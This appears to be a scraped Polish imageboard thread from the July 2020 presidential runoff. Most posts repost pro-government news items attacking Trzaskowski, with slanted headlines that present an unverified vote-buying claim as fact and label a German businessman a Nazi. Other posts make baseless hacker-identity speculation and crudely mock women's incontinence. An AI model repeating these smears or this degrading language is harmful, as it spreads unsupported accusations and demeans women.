Jeśli chodzi o wektory polityki gospodarczej, polityki zagranicznej i bezpieczeństwa, to (zdania kandydatów) są przeciwstawne jeśli chodzi o sposób zachowania wobec głównych tematów, jakimi zajmuje się teraz UE, czyli imigracja i klimat. Przyjmować imigrantów (Trzaskowski-red.) versus nie przyjmować (Duda-red.) i maksymalnie napinać i stawiać najwyższe cele klimatyczne, versus domagać się specjalnej ścieżki dla Polski

- ocenił europoseł PiS.

Saryusz-Wolski przypomniał również, że Rafał Trzaskowski już w czasie kampanii złożył podpis pod domaganiem się maksymalnie wysokiego pułapu redukcji CO2.

Oznacza to, że podporządkujemy naszą politykę w tej materii interesom innych. A jeśli chodzi o imigrację, to podporządkujemy naszą politykę w tej materii innym, a nie temu, czego chce większość polskiego społeczeństwa

- dodał.

R: 1 / I: 0 / P: 17

Ikona ruchu wolnościowego wybiera Dudę!

- W drugiej turze wyborów prezydenckich oddam głos na prezydenta naszej Najjaśniejszej Rzeczypospolitej Polskiej doktora Andrzeja Dudę, który wspiera osoby z niepełnosprawnością przed obcą nam ideologią taką, jak neobolszewizm i ideologia gender - stwierdza ikona ruchu wolnościowego dr Bawer Aondo-Akaa w specjalnym nagraniu. Jak dodaje, Duda "jest dużo lepszym wyborem niż prezydent Warszawy doktor Rafał Trzaskowski, który popiera tzw. marsze równości, czy deprawację dzieci w szkołach poprzez edukację seksualną".

Już tylko godziny dzielą nas od rozpoczęcia ciszy wyborczej przed drugą turą wyborów prezydenckich. Najnowsze sondaże wskazują jednoznacznie, że dwóch kandydatów dzieli niewielka różnica poparcia, a o zwycięstwie zdecyduje mobilizacja elektoratów.

Tymczasem swoje poparcie dla Andrzeja Dudy zadeklarował dziś dr Bawer Aondo-Akaa.

W drugiej turze wyborów prezydenckich oddam głos na prezydenta naszej Najjaśniejszej Rzeczypospolitej Polskiej, doktora Andrzeja Dudę, ponieważ myślę, że pan prezydent Andrzej Duda wspiera osoby z niepełnosprawnością przed obcą nam ideologią taką, jak neobolszewizm i ideologia gender

- stwierdza ikona ruchu wolnościowego.

Jest dużo lepszym wyborem niż prezydent Warszawy, doktor Rafał Trzaskowski, który popiera tzw. marsze równości, czy deprawację dzieci w szkołach poprzez edukację seksualną

- dodaje.

Dr Bawer Aondo-Akaa, ikona ruchu wolnościowego oraz wielki polski patriota, bardzo zaangażowany na rzecz osób niepełnosprawnych - wybiera Prezydenta A. Dudę 🇵🇱 Posłuchaj dlaczego i…podaj dalej znajomym!🤗

Bawer, bardzo Ci dziękuję za wsparcie! @AndrzejDuda2020 👏 pic.twitter.com/hUXQYJoDNw

— Adam Andruszkiewicz (@Andruszkiewicz1) July 10, 2020

R: 0 / I: 0 / P: 17

Łagodny wyrok dla nazisty od nadzwyczajnej kasty

Sąd Okręgowy w Gdańsku zmienił w piątek wyrok sądu niższej instancji ws. Hansa G. - niemieckiego przedsiębiorcy oskarżonego o znieważanie polskich pracowników swojej firmy i grożenie jednej z nich. Sąd uznał go winnym znieważenia, ale niewinnym kierowania gróźb.

W grudniu ub.r. Sąd Rejonowy w Wejherowie uznał przedsiębiorcę Hansa G. za winnego znieważenia pięciu pracownic swojej firmy działającej w Pomorskiem. Sąd skazał go na karę 20 tys. złotych grzywny, nawiązki na rzecz czterech kobiet (w sumie 11 tys. zł), wpłatę 5 tysięcy złotych na rzecz Funduszu Pomocy Pokrzywdzonym oraz Pomocy Postpenitencjarnej oraz ponad 40 tys. zł tytułem opłaty za ekspertyzę fonoskopijną zleconą w tej sprawie przez prokuraturę.

Wejherowski sąd skazał też mężczyznę na 8 miesięcy więzienia w zawieszeniu na dwa lata za używanie gróźb karalnych wobec byłej już pracownicy – Natalii Nitek-Płażyńskiej (żona posła PiS Kacpra Płażyńskiego), nakazał G. pisemne przeproszenie kobiety i zakazał kontaktu z nią.

Apelację od wyroku złożył w Sądzie Okręgowym w Gdańsku oskarżony. Wniósł o uniewinnienie lub odesłanie sprawy do ponownego rozpatrzenia. W odpowiedzi prokuratura wniosła o utrzymanie wyroku w mocy.

R: 2 / I: 0 / P: 17

Duda: Prowadzę polskie interesy, bo serce mam polskie

- Wreszcie realizacja polskich interesów stoi przed obcymi interesami. Ja prowadzę polskie interesy, bo serce mam polskie - podkreślił ubiegający się o reelekcję prezydent Andrzej Duda.

Prezydent mówił w TVP Info, że jest atakowany przez zagraniczne media, a także przez media o zagranicznym kapitale działające w Polsce.

"To też pokazuje o co się toczy gra w tej kampanii. Jeżeli zagraniczne media mnie atakują, to znaczy, że ich mocodawcy zagraniczni są niezadowoleni z tego, jaką ja prowadzę politykę. Jeżeli są niezadowoleni, to znaczy, że interesy ich krajów nie są realizowane tak, jak by chcieli, dlatego, że są realizowane polskie interesy"

- zauważył.

"Wreszcie tak się dzieje, że realizacja polskich interesów stoi przed obcymi interesami. Jakoś tak się stało za rządów Donalda Tuska, że polskie stocznie zostały zlikwidowane, a niemieckie i francuskie przetrwały - to znaczy, czyje interesy wtedy się liczyły? Dzisiaj jest zupełnie odwrotnie"

- oświadczył Andrzej Duda.

Zapewnił, że realizuje i zamierza realizować politykę prowadzenia polskich spraw i polskich interesów.

"Ja prowadzę polskie interesy, bo serce mam polskie"

- dodał.

Andrzej Duda zwracał uwagę, że za rządów PO "gdzieś znikało 50 mld VAT", zaś rząd PiS w ciągu ostatnich 5 lat załatał lukę VAT o kilkadziesiąt miliardów złotych.

"Ktoś bardzo jest niezadowolony z tego, że nie ma tych pieniędzy. Jeżeli ktoś stracił kilka, czy kilkadziesiąt miliardów to - proszę mi wierzyć - na pewno ma taką siłę, żeby swoje oddziaływania w mediach realizować"

- zaznaczył prezydent.

R: 1 / I: 0 / P: 17

Małżeństwo to związek kobiety i mężczyzny

Obrona polskiej rodziny i urzeczywistnianie praw polskiej rodziny jest dla mnie sprawą fundamentalną, konstytucja nakazuje strzec rodzinę i małżeństwo jako związek kobiety i mężczyzny - powiedział dziś w Gorlicach prezydent Andrzej Duda.

Duda mówił na spotkaniu z mieszkańcami, że w wyborach prezydenckich zdecydujemy, jaka będzie przyszłość Polski. Czy - jak mówił - Polska będzie dalej się rozwijała, będzie ambitna i będzie szła z podniesioną głową, czy też nastąpi powrót do czasów sprzed 2015, kiedy - jego zdaniem - następowało zwijanie kraju, lekceważone były mniejsze miasta i miejscowości, a Polska była rozwijana dla wąskiej grupy.

Prezydent mówił, że nie wolno pozwolić na to, aby wydzierano nam nasze wartości.

- Nie wolno nam pozwolić na to, by narzucono nam i naszym dzieciom obce wzorce ideowe i obce wzorce kulturowe, chcemy zachować naszą tożsamość, naszą tradycję, chcemy zachować nasze wzorce kulturowe i wartości, chcemy wreszcie zachować naszą godność, dla mnie to jest sprawa fundamentalna

- powiedział Duda.

- Obrona polskiej rodziny jest dla mnie sprawą fundamentalną, urzeczywistnianie praw polskiej rodziny jest dla mnie sprawą fundamentalną, obrona polskich dzieci jest dla mnie sprawą fundamentalną. Taką mamy ponad 1050-letnią tradycję, że polska rodzina, to chłopak i dziewczyna, że małżeństwo tak jak jest zapisane w naszej konstytucji - to związek kobiety i mężczyzny. taką właśnie rodzinę i małżeństwo polska konstytucja nakazuje strzec polskiemu państwu i dbać o nie w sposób szczególny

- powiedział Duda.

Dodał, że konstytucja przewiduje też prawo rodziców do wychowania dzieci zgodnie z własnymi przekonaniami.

- To prawo musi być wreszcie wypełnione treścią i musi być wreszcie chronione, dlatego złożyłem projekt ustawy, że to rodzice będą decydowali, jakie treści będą przekazywane dzieciom w szkole na zajęciach prowadzonych przez pozaszkolne organizacje i stowarzyszenia

- podkreślił prezydent.

Andrzej Duda zapowiedział podczas spotkania z mieszkańcami, że "chce przez następne pięć lat bronić rodziny, tradycji, i jednocześnie realizować i przyciągać do Polski nowoczesne inwestycje, tak, żebyśmy stawali się silnym państwem z pełną suwerennością".

- Chcę wygrać wybory, aby nadal budować potencjał naszego państwa, aby realizować polskie sprawy i polskie interesy. Jestem przekonany, że wśród obywateli, którzy wybierają różne ugrupowania, wśród polityków, także samorządowych, jest bardzo wielu tych, którzy są zwolennikami naszych tradycyjnych wartości i chcą bronić polskiej rodziny, szanują ją i uważają, że rozwój kraju powinien być ukierunkowany na rodzinę

- mówił Duda.

- Wszystkich ich proszę o wsparcie. Chcę, żebyśmy razem tworzyli Koalicję Polskich Spraw, dla polskich wartości

- dodał.

Zdaniem prezydenta, niedzielne wybory "są ważne dla Polski". Jak zaznaczył, "Polska musi wyjść zwycięska z tych wyborów".

R: 0 / I: 0 / P: 17

Duda: „Chcę polskiej rodziny zmierzającej do zamożności jak na zachodzie Europy”

"Chcę, żeby polska rodzina zmierzała do poziomu zamożności takiego, jaki jest na zachodzie Europy" - powiedział dziś w Jaśle prezydent Andrzej Duda. Jego zdaniem, młodzi ludzie przestaną wyjeżdżać z Polski, kiedy będą mieli takie same szanse, jak na Zachodzie. Prezydent poprosił też o wskazywanie niepewnym wyborcom, jaka różnica dokonała się w poziomie ich życia od czasu rozpoczęcia jego kadencji.

Prezydent podkreślił na spotkaniu z mieszkańcami Jasła, że jest przekonany, iż "dzięki mądrej polityce, dzięki rozsądnemu prowadzeniu polskich spraw, możemy wejść na drogę, nie tylko nowej prezydentury, ale także nowej polityki gospodarczej w naszym kraju".

W minionych latach - myślę tutaj o ostatnich 30-stu latach - bardzo często było tak, że człowiek ciężko pracował, a miał wrażenie, że nie ma żadnych osobistych efektów tej pracy. Bo może państwo rozwijało się w niektórych miejscach, ale w swoim domu, wokół siebie człowiek tego nie widział. Dopiero wyjazd za granicę powodował ten awans, przede wszystkim materialny. Ten wyjazd za granicę był jedyną szansą

- mówił Andrzej Duda.

Jasło. Jesteście wspaniali! Dziękuję Wam za spotkanie, za rozmowy, za słowa wsparcia. Zwyciężymy 12 lipca !#ŁączyNasPolska✌️🇵🇱 pic.twitter.com/HrOxhoetau

— Andrzej Duda (@AndrzejDuda) July 10, 2020

Jak zapewnił chce, żeby to się wreszcie w Polsce zmieniło. "I my zmieniamy to w ostatnich latach, poprzez docenienie rodziny, poprzez wszystkie programy rodzinne, które dzisiaj stanowią bazę finansową dla bardzo wielu rodzin" - powiedział prezydent.

Ale - dodał - "ja chcę, żeby polska rodzina zmierzała do poziomu zamożności takiego, jaki jest na zachodzie Europy. Dopiero wtedy, przede wszystkim młodzi ludzie przestaną z naszego kraju wyjeżdżać, kiedy szanse dla nich będą takie same, jak na Zachodzie. To jest moje wielkie dążenie, ja to właśnie chce osiągnąć" - podkreślił Andrzej Duda.

#Jasło, było pięknie! #DUDA2020 🇵🇱 pic.twitter.com/jY06ymmVCv

— #DUDA2020 (@AndrzejDuda2020) July 10, 2020

Prezydent prosił też mieszkańców Jasła o wsparcie oraz pójście na wybory.

Jeżeli ktoś ma problem i się zastanawia jak głosować, to proszę was, żebyście go poprosili tylko o jedno: weź sobie porównaj jak ci się żyło przed 2015 rokiem, a jak ci się żyje od 2015 roku odkąd Duda został prezydentem do teraz, porównaj sobie, idź na wybory i oddaj głos

- powiedział Duda

Przed spotkaniem z mieszkańcami na jasielskim Zielonym Rynku prezydent Andrzej Duda odwiedził winnice Jana w pobliskim Zarzeczu. Następnie odwiedził Jasienicę Rosielną koło Brzozowa. Kolejnymi miejscami spotkań na Podkarpaciu będą Niebylec koło Strzyżowa, Dębice i Rzeszów

R: 0 / I: 0 / P: 17

Trzaskowski nie wie co to PKB

Kandydat KO Rafał Trzaskowski "naopowiadał głupot" stwierdzając, że Polska jest w kompletnej zapaści, chyba nie wie, co to jest PKB, dane Komisji Europejskiej pokazują, że Polska jest na pierwszym miejscu w Unii Europejskiej, jeśli chodzi o najłagodniejszy spadek PKB - powiedział premier Mateusz Morawiecki w Polsat News.

Premier powiedział, że Rafał Trzaskowski "oszukiwał na antenie bardzo wielu telewidzów" mówiąc, że Polska jest w fatalnej sytuacji gospodarczej i grozi nam 5 proc. mniej przyrostu PKB.

Szef rządu przedstawił kartkę z danymi Komisji Europejskiej, zgodnie z którymi Polska w 2020 roku doświadczy najłagodniejszego spadku produktu krajowego brutto wśród wszystkich krajów Unii Europejskiej i będzie to spadek na poziomie 4,6 proc.

"Polska jest na górze całej tej tabeli, a Rafał Trzaskowski powiedział, że Polska jest w kompletnej zapaści, zresztą chyba nie wie, co to jest PKB"

- powiedział Morawiecki.

Podkreślił raz jeszcze, że KE pokazała, że Polska jest na pierwszym miejscu w UE, jeśli chodzi o najłagodniejszy spadek PKB.

"Może on (Rafał Trzaskowski) odczytał tę tabelę w taki sposób (do góry nogami) i może mu się pomyliło"

- powiedział Morawiecki.

Stwierdził, że Trzaskowski "naopowiadał głupot".

"Ja nie wiedziałem naprawdę, czy śmiać się z tego wszystkiego, czy płakać"

- powiedział szef rządu.

R: 161 / I: 4 / P: 17

wydaje mi się że vegeta to tak naprawdę xArm:

xArm shakował morele pod koniec 2018, zrobił to prostym sql injection, widać że był nowicjuszem w tamtym momencie (koniec 2018) korzystał z protona itp.

koncertowo wszystko spierdolił i nie udało mu się ojebać bazy

parę miesięcy później pojawia się vegeta, podejrzanie szybko się uczy, opierdala bazy za pieniądze (tym razem rosyjskie) - legendowanie nowej postaci w internecie

vegeta nie tyka się polski bo jędrzejczak mu tego zabronił (został jako xArm rozpracowany i wciągnięty do lodówki)

co o tym myślicie anoni

R: 4 / I: 0 / P: 17

fajna zabawa

polecam

R: 0 / I: 0 / P: 17

Podopieczna fundacji wykluczona za popieranie Dudy

Niepełnosprawna podopieczna Fundacji Dum Spiro Spero w Bydgoszczy Anna Derewienko uważa, że utraciła wsparcie z uwagi na swoje poglądy polityczne i brak poparcia dla Platformy Obywatelskiej. - Czy tak ma wyglądać "wypalanie ogniem" przez Rafała Trzaskowskiego? - pytał w programie "#Jedziemy" Michał Rachoń.

"Informacja z ostatniej chwili: Nie jestem już podopieczną Fundacji Dum Spiro Spero z siedzibą w Bydgoszczy, której prezesem jest radna miasta Bydgoszczy, pani Katarzyna Zwierzchowska, zasiadająca także w kilku komisjach Urzędu Miasta, przydzielających fundusze na działania kulturalne i oświatowe, a także odpowiedzialna za działania miasta promujące miasto Bydgoszcz. Zostałam wykluczona z Fundacji przez jej zarząd, który powołał się na bliżej nieokreślone niestosowne moje zachowanie, w wyniku którego rzekomo utracił sponsora. Nie będę popierać partii politycznej tylko dlatego, że zorganizowano mi jedną czy drugą wystawę. Nie będę także popierać wszystkich działań radnych miasta tylko dlatego, że są radnymi miasta. (…) Proszę o udostępnianie posta, celem pokazania jak się kończy nie popieranie radnych PO miasta Bydgoszczy. Żenujące to mało powiedziane. Wstyd! Wstyd! I jeszcze raz wstyd!"

- napisała wczoraj na Facebooku Derewienko.

Prezes Fundacji, która wykluczyła panią Annę, to samorządowa polityk Platformy Obywatelskiej, radna, aktywna w kampanii wyborczej Rafała Trzaskowskiego - ujawnił w programie "#Jedziemy" Michał Rachoń.

Anna Derewienko z kolei poparła w wyborach prezydenckich Andrzeja Dudę.

- Sytuacja wygląda tak, że od 2016 roku jestem podopieczną fundacji. Prezesem fundacji jest pani Katarzyna Zwierzchowska, która w międzyczasie została radną miasta Bydgoszczy i wspiera Platformę Obywatelską, jest członkiem partii. Myślę, że element mojego sprzyjania partii rządzącej jest kością niezgody. Mimo, że przez długi czas nie miało to wpływu na nasze stosunki, to w momencie kiedy zadeklarowałam głos na Andrzeja Dudę, to to pozytywnie nie zadziałało

- powiedziała kobieta w rozmowie z redaktorem Michałem Rachoniem w czwartek w programie "Minęła 20".

Michał Rachoń zwrócił uwagę, że w sieci pojawiło się również oświadczenie fundacji, w którym jak powód wykluczenia Anny Derewienko, podano rezygnację jednego ze sponsorów, ze względu działania podopiecznej.

Z rozmowy jaka wywiązała się pod postem Derewienko wynika jednak, że zarząd fundacji i jej sponsorzy, to "ludzie opozycji".

Tematu nie podejmują politycy Platformy Obywatelskiej. Głos w tej sprawie zabrał za to prezydent Andrzej Duda.

To coś, co nigdy nie powinno mieć miejsca, a niestety się dzieje - ocenił prezydent.

Czy tak ma wyglądać "wypalanie ogniem" Rafała Trzaskowskiego? #Jedziemy #wieszwięcej

Zobacz więcej: https://t.co/u2YX9GiaTP pic.twitter.com/5fhcqO39Ym

— portal tvp.info 🇵🇱 (@tvp_info) July 10, 2020

R: 14 / I: 1 / P: 17

z kobiet wycieka mocz z cipy

Tabu: Nawet 40 proc. matek ma problemy z nietrzymaniem moczu

https://kobieta.onet.pl/tabu-nawet-40-proc-matek-ma-problemy-z-nietrzymaniem-moczu/njw5ske

stare kobiety mają tak rozjebane cipy, że nie tylko cieknie z nich krew co miesiąc, ale też codziennie wycieka mocz, siki. muszą pampersy nosić

tylko dzieci!

R: 0 / I: 0 / P: 17

Sądy to najważniejszy bastion starego systemu

"Sądy to najważniejszy bastion starego systemu, zmiana charakteru sądów, to warunek tego, aby Polska mogła rozwiązywać inne problemy, dobrze się rozwijać i przede wszystkim, żeby była sprawiedliwa" – powiedział prezes PiS Jarosław Kaczyński.

- Sądy są nie tyle ostatnim bastionem, bo tych bastionów jest jeszcze niestety dużo więcej, choćby wielka część mediów, ale są najważniejszym bastionem starego systemu

– powiedział Kaczyński w czwartek wieczorem w Radiu Maryja.

- Przecież to jeszcze peerelowski Sejm stworzył ochronę dla sędziów, stworzył instytucję, dzięki której stali się oni grupą, która nie jest tworzona z zewnątrz, tylko poprzez kooptację, z pewnym udziałem prezydenta czyli władzy wykonawczej

– dodał prezes PiS.

Według Kaczyńskiego, "zmiana tej sytuacji, zmiana charakteru tych sądów, to jest warunek tego, by Polska mogła rozwiązywać inne problemy, dobrze się rozwijać i przede wszystkim, żeby była sprawiedliwa".

- Dzisiaj ilość wyroków, które łamią prawo, jest tak wielka, że trudno w ogóle tego rodzaju przypadki zliczyć, i przeświadczenie wielu Polaków, że u nas sprawiedliwości nie ma, jest jak najbardziej uzasadnione

– ocenił Kaczyński.

R: 0 / I: 0 / P: 17

Poparła Andrzeja Dudę, utraciła wsparcie z fundacji.

Niepełnosprawna podopieczna Fundacji Dum Spiro Spero w Bydgoszczy Anna Derewienko uważa, że utraciła wsparcie z uwagi na swoje poglądy polityczne i brak poparcia dla Platformy Obywatelskiej. W rozmowie z redaktorem Michałem Rachoniem w programie "Minęła 20" powiedziała, w jaką Polskę wierzy. - Wierzę w Polskę, w której będę mogła powiedzieć na kogo głosuję i nie będę się spotykała z dyskryminacją i hejtem - podkreśliła.

"Informacja z ostatniej chwili: Nie jestem już podopieczną Fundacji Dum Spiro Spero z siedzibą w Bydgoszczy, której prezesem jest radna miasta Bydgoszczy, pani Katarzyna Zwierzchowska, zasiadająca także w kilku komisjach Urzędu Miasta, przydzielających fundusze na działania kulturalne i oświatowe, a także odpowiedzialna za działania miasta promujące miasto Bydgoszcz. Zostałam wykluczona z Fundacji przez jej zarząd, który powołał się na bliżej nieokreślone niestosowne moje zachowanie, w wyniku którego rzekomo utracił sponsora. Nie będę popierać partii politycznej tylko dlatego, że zorganizowano mi jedną czy drugą wystawę. Nie będę także popierać wszystkich działań radnych miasta tylko dlatego, że są radnymi miasta. (…) Proszę o udostępnianie posta, celem pokazania jak się kończy nie popieranie radnych PO miasta Bydgoszczy. Żenujące to mało powiedziane. Wstyd! Wstyd! I jeszcze raz wstyd!"

- napisała dziś na Facebooku Derewienko.

Prezes fundacji z tej partii Katarzyna Zwierzchowska podkreśla, że porozumienie nie zostało rozwiązane z powodów politycznych, lecz działanie fundacji jest szeroko komentowane. Sprawą zainteresował się nawet prezydent Andrzej Duda, który przyznał, że rozmawiał dziś z poszkodowaną.

Anna Derewienko gościła w programie "Minęła 20", gdzie ponownie opowiedziała o tej sprawie.

- Sytuacja wygląda tak, że od 2016 roku jestem podopieczną fundacji. Prezesem fundacji jest pani Katarzyna Zwierzchowska, która w międzyczasie została radną miasta Bydgoszczy i wspiera Platformę Obywatelską, jest członkiem partii. Myślę, że element mojego sprzyjania partii rządzącej jest kością niezgody. Mimo, że przez długi czas nie miało to wpływu na nasze stosunki, to w momencie kiedy zadeklarowałam głos na Andrzeja Dudę, to to pozytywnie nie zadziałało

- powiedziała w rozmowie z redaktorem Michałem Rachoniem.

- Dziś otrzymałam pismo, które wpłynęło do mnie pocztą poleconą. Pismo zostało 2 lipca wygenerowane przez fundację. Fundacja informuje mnie, że przestaję być podopieczną albo ze skutkiem natychmiastowym, jeżeli zgodzę się na rozwiązanie umowy, albo jeszcze przez miesiąc

- dodała.

- Problem polega na tym, że ja od czasu do czasu jestem aktywna w życiu politycznym, bo ogólnie jestem aktywna publicznie, bardzo aktywnie udzielam się na rzecz promowania Bydgoszczy nie tylko w Polsce, ale i za granicą. Moja osoba jest znana wielu internautom

- podkreśliła Derewienko.

Jednym z argumentów podnoszonych przez fundację było stwierdzenie, że działalność pani Anny może negatywnie wpływać na wizerunek organizacji.

- Trudno ocenić, co uderza w wizerunek fundacji, ponieważ w piśmie, które upubliczniłam, jest taki fragment o wizerunku (…) Trudno mi powiedzieć, jak jest w innych fundacjach. Każda fundacja powiązana z polityką jest fundacją wątpliwą

- powiedziała, wskazując m.in. na Wielką Orkiestrę Świątecznej Pomocy.

- Moje życie było ratowane na sprzęcie WOŚP i ja tę fundację zazwyczaj co roku wspieram, natomiast widzę wyraźnie jak działa Owsiak i cała sytuacja związana z wycofaniem się Owsiaka, kiedy zamordowany został Adamowicz, to była pewnego rodzaju prowokacja - jego wycofanie się, hasztag #MuremZaOwsiakiem… Ja wtedy zaczęłam promować swój hasztag #MuremZaRozumem. Z fundacjami jest tu pewien problem

- dodała.

Anna Derewienko mówiła również o hasłach, jakie wznoszą często politycy opozycji - m.in. o wolności słowa.

- To absolutna hipokryzja. Kiedy mówimy o wolności, to w ustach polityków PO to rodzaj wytrychu. Najwięcej mowy nienawiści właśnie używa ta opcja polityczna. Wolność, równość, te wszystkie hasła to niestety frazesy, którymi wycierają sobie buzie politycy PO. Nie wierzę w to, że to partia, która chciałaby poszerzać wolność. Artystów bardzo fajnie się wykorzystuje. Pani Trzaskowska zaangażowała wszystkich możliwych artystów, żeby nagrali w jaką Polskę wierzą i Instragram pęka w szwach

- podkreśliła.

Redaktor Michał Rachoń zapytał więc: W jaką Polskę wierzy Anna Derewienko?

- Wierzę w Polskę, w której będę mogła powiedzieć na kogo głosuję i nie będę się spotykała z dyskryminacją i hejtem

- zakończyła kobieta.

R: 0 / I: 0 / P: 18

Fundacja Orlen pomoże kobiecie wyrzuconej z fundacji przez radną PO

Fundacja Orlen zaoferowała wsparcie Annie Derewienko - kobiecie, która utraciła możliwość współpracy z fundacją z Bydgoszczy po tym, jak publicznie poparła Andrzeja Dudę w wyborach prezydenckich. - Dyskryminacja ze względu na poglądy polityczne jest niedopuszczalna - napisał szef Orlenu na Twitterze.

Niepełnosprawna podopieczna Fundacji Dum Spiro Spero w Bydgoszczy Anna Derewienko utraciła wsparcie z uwagi na swoje poglądy polityczne (popiera Andrzeja Dudę w wyborach prezydenckich) i brak poparcia dla Platformy Obywatelskiej. Bulwersującą historię opisała dziś na Facebooku. Za jej usunięciem z fundacji stać miała działaczka Koalicji Obywatelskiej z Bydgoszczy.

"Informacja z ostatniej chwili: Nie jestem już podopieczną Fundacji Dum Spiro Spero z siedzibą w Bydgoszczy, której prezesem jest radna miasta Bydgoszczy, pani Katarzyna Zwierzchowska, zasiadająca także w kilku komisjach Urzędu Miasta, przydzielających fundusze na działania kulturalne i oświatowe, a także odpowiedzialna za działania miasta promujące miasto Bydgoszcz. Zostałam wykluczona z Fundacji przez jej zarząd, który powołał się na bliżej nieokreślone niestosowne moje zachowanie, w wyniku którego rzekomo utracił sponsora. Nie będę popierać partii politycznej tylko dlatego, że zorganizowano mi jedną czy drugą wystawę. Nie będę także popierać wszystkich działań radnych miasta tylko dlatego, że są radnymi miasta. (…) Proszę o udostępnianie posta, celem pokazania jak się kończy nie popieranie radnych PO miasta Bydgoszczy. Żenujące to mało powiedziane. Wstyd! Wstyd! I jeszcze raz wstyd!"

- przeczytaliśmy na Facebooku.

Do pani Anny po tym wpisie dotarło wiele głosów wsparcia. Pozostało jednak pytanie - jaka fundacja wesprze kobietę po tym, jak pozostawiono ją bez wsparcia. Okazuje się, że pomoc zadeklarowała Fundacja ORLEN.

- Na prośbę prezydenta Andrzeja Dudy nasza Fundacja ORLEN skontaktuje się z panią Anią i udzieli jej niezbędnego wsparcia. Dyskryminacja ze względu na poglądy polityczne jest niedopuszczalna

- napisał na Twitterze prezes Orlenu Daniel Obajtek.

Na prośbę @prezydentpl @AndrzejDuda nasza Fundacja ORLEN skontaktuje się z panią Anią i udzieli jej niezbędnego wsparcia. Dyskryminacja ze względu na poglądy polityczne jest niedopuszczalna. pic.twitter.com/WleAaLdnDd

— Daniel Obajtek (@DanielObajtek) July 9, 2020

R: 0 / I: 0 / P: 18

Trzaskowski reprezentuje liberalizm lewicowy

"Rafał Trzaskowski reprezentuje liberalizm lewicowy, którego elementem jest permisywizm, czyli zgoda na wszystko" - ocenił dziś w Radiu Maryja prezes PiS Jarosław Kaczyński.

- W tej chwili kandydat Rafał Trzaskowski stosuje taką taktykę uników, próbuje po prostu nie informować opinii publicznej, jakie ma rzeczywiście poglądy albo wręcz wprowadzać opinię publiczną w błąd. To prawda jest taka, że on reprezentuje liberalizm lewicowy, którego elementem jest taki bardzo daleko posunięty permisywizm - zgoda na wszystko. Zgoda także na ofensywę formacji LGBT, czyli wprowadzanie metod wychowawczych, które prowadzą do daleko idącej demoralizacji przez seksualizację

- podkreślił prezes PiS.

Zdaniem Kaczyńskiego "elity są zdemoralizowane, ale mają bardzo dużo pieniędzy, ogromne wpływy i chcą panować nad społeczeństwem". Według prezesa PiS są koncepcje, zgodnie z którymi funkcjonować ma "nieustanna zmiana, mająca towarzyszyć człowiekowi", której efektem jest budowa wolności jako "oderwanie się od zasad, reguł moralnych i realiów, także o charakterze biologicznym".

- Zatrzymanie tego jest dla przyszłości naszego państwa, naszego narodu niezwykle ważne. Polska tak skonstruowana będzie Polską ludzi nieszczęśliwych, ale także sądzę, że naciskana przez sąsiadów mających większe zasoby niż my w jakimś momencie przestanie być tak naprawdę Polską

- powiedział prezes PiS.

R: 0 / I: 0 / P: 18

Trzaskowski nieskuteczny w Brukseli

Rafał Trzaskowski, który wielokrotnie szczycił się swoimi rozległymi kontaktami za granicą, nie był w stanie przekonać kolegów z Europejskiej Partii Ludowej, aby nie głosowali za rozwiązaniami uderzającymi w polskie firmy transportowe - mówił dziś członek sztabu prezydenta Radosław Fogiel.

W środę Parlament Europejski zatwierdził w ostatecznym głosowaniu wywołujący wiele kontrowersji pakiet mobilności. Przepisy, którym sprzeciwiała się Polska i inne kraje naszego regionu, wprowadzają wiele zmian na rynku transportu drogowego. Pakiet zakłada m.in. objęcie przewoźników drogowych przepisami o delegowaniu pracowników i reguluje kwestię czasu odpoczynku kierowców.

Podczas konferencji sztabowcy prezydenta Andrzeja Dudy podkreślali, że przyjęte rozwiązania są bardzo niebezpieczne dla polskiej branży transportowej.

- Te przepisy zawierają szereg bardzo niekorzystnych zapisów, które faworyzują przedsiębiorstwa z państw Europy Zachodniej, głównie Francji, Niemiec czy Włoch

- zawracał uwagę rzecznik prezydenckiego sztabu, europoseł PiS Adam Bielan. Zaznaczył jednocześnie, że dzięki aktywności delegacji PiS w PE udało się utrzymać rozwiązania korzystne z punktu widzenia polskich firm transportowych. Chodzi m.in. o utrzymanie zwolnienia z przepisów o delegowaniu pracowników kierowców wykonujących przewozy bilateralne i tranzytowe.

Bielan podkreślił, że w wyniku przyjęcia nowych regulacji polskie firmy stracą olbrzymią część rynku i będą musiały zwalniać pracowników.

- Jedno jest pewne Europejska Partia Ludowa, której wiceprzewodniczącym przez wiele lat był Rafał Trzaskowski w większości zagłosowała za tymi szkodliwymi przepisami z punktu widzenia nie tylko polskich przedsiębiorców, polskich kierowców, ale szkodliwymi dla całego wspólnego jednolitego rynku europejskiego

- mówił Bielan.

- Czy Rafał Trzaskowski, który wielokrotnie szczycił się swoimi rozległymi kontaktami za granicą, szczycił się, jakiej światowej ogłady nabrał na europejskich salonach; człowiek, który w nocy telefonuje do Baracka Obamy, nie był w stanie przekonać kolegów ze swojej frakcji - której był członkiem jako europoseł i wiceprzewodniczącym - do tego, aby nie głosowali za rozwiązaniami uderzającymi w polskich przedsiębiorców?

- zwrócił uwagę wicerzecznik PiS i członek prezydenckiego sztabu Radosław Fogiel.

- To pokazuje z jednej strony samochwalstwo Rafała Trzaskowskiego, brak sprawczości, ale równocześnie każe postawić znak zapytania nad jego kolejną deklaracją, że będzie wspierał rząd w sytuacji, gdyby miał zostać prezydentem. Tutaj miał wszelkie narzędzia, kontakty, telefony do liderów EPL i zero efektu dla polskich przedsiębiorców

- dodał Fogiel.

Bielan, odpowiadając na pytania dziennikarzy, poinformował, że Polska będzie skarżyć przyjęte przepisy do Europejskiego Trybunału Sprawiedliwości. - Nasz rząd z całą pewnością wykorzysta wszystkie możliwości prawne, aby zatrzymać wejście tego pakietu mobilności. Ale nie oszukujmy się, szanse na to, że to zablokujemy dzisiaj, po tej decyzji PE, między innymi kolegów Rafała Trzaskowskiego z EPL są już niewielkie - przyznał Bielan.

R: 1 / I: 0 / P: 18

Trzaskowski z rozpaczy zleca kupowanie głosów

- Właściciel dużej prywatnej firmy z wielkopolskiej Chociczy miał zaoferować swoim pracownikom 300 zł za głos oddany w wyborach prezydenckich na Rafała Trzaskowskiego – poinformował portal poznan.tvp.pl.

Według publikacji portalu poznan.tvp.pl przedsiębiorstwo z siedzibą w Chociczy w powiecie średzkim zatrudnia kilkaset osób na terenie całej Wielkopolski.

Szef firmy miał według informacji dziennikarzy zaproponować swoim pracownikom 300 zł za oddanie głosu na kandydata KO na prezydenta RP Rafała Trzaskowskiego.

„Przed wrzuceniem karty do urny trzeba zrobić jej zdjęcie. Pieniądze mają być wypłacane przy najbliższej wypłacie”
